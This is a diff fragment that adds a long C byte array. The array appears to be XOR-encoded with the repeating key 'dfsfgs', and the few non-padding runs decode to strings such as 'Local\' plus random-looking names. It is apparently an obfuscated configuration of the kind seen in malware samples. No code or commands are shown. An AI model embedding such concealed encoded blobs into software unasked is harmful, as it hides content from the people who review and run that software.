+0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x28, 0x09, 0x10, 0x07, 0x0b, 0x2f, 0x0e, 0x15, 0x4b, 0x15, 0x0d, 0x3b, 0x25, 0x2c, 0x21, 0x34, +0x3f, 0x1e, 0x2f, 0x0c, 0x17, 0x51, 0x12, 0x42, 0x1c, 0x2d, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x28, 0x09, 0x10, 0x07, 0x0b, 0x2f, 0x36, 0x0f, +0x4a, 0x0d, 0x1d, 0x09, 0x53, 0x07, 0x4a, 0x07, 0x33, 0x25, 0x52, 0x01, 0x18, 0x04, 0x10, 0x43, +0x54, 0x0c, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x01, 0x13, 0x09, 0x17, +0x08, 0x0a, 0x40, 0x54, 0x49, 0x16, 0x1c, 0x03, 0x73, 0x66, 0x67, 0x73, 0x16, 0x13, 0x1d, 0x02, +0x0b, 0x1f, 0x57, 0x54, 0x5d, 0x03, 0x1f, 0x16, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x63, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, 0xf7, 0x56, 0xe8, 0x56, 0xda, 0x43, 0xa1, 0x56, +0x9e, 0x56, 0x62, 0x42, 0x70, 0x57, 0x51, 0x57, 0x5b, 0x42, 0x22, 0x57, 0x23, 0x57, 0x3d, 0x42, +0x06, 0x57, 0xab, 0x57, 0x81, 0x42, 0x60, 0x54, 0x6a, 0x54, 0x41, 0x41, 0x5d, 0x54, 0x33, 0x54, +0x29, 0x41, 0xe4, 0x54, 0xf9, 0x54, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +}; \ No newline at end of file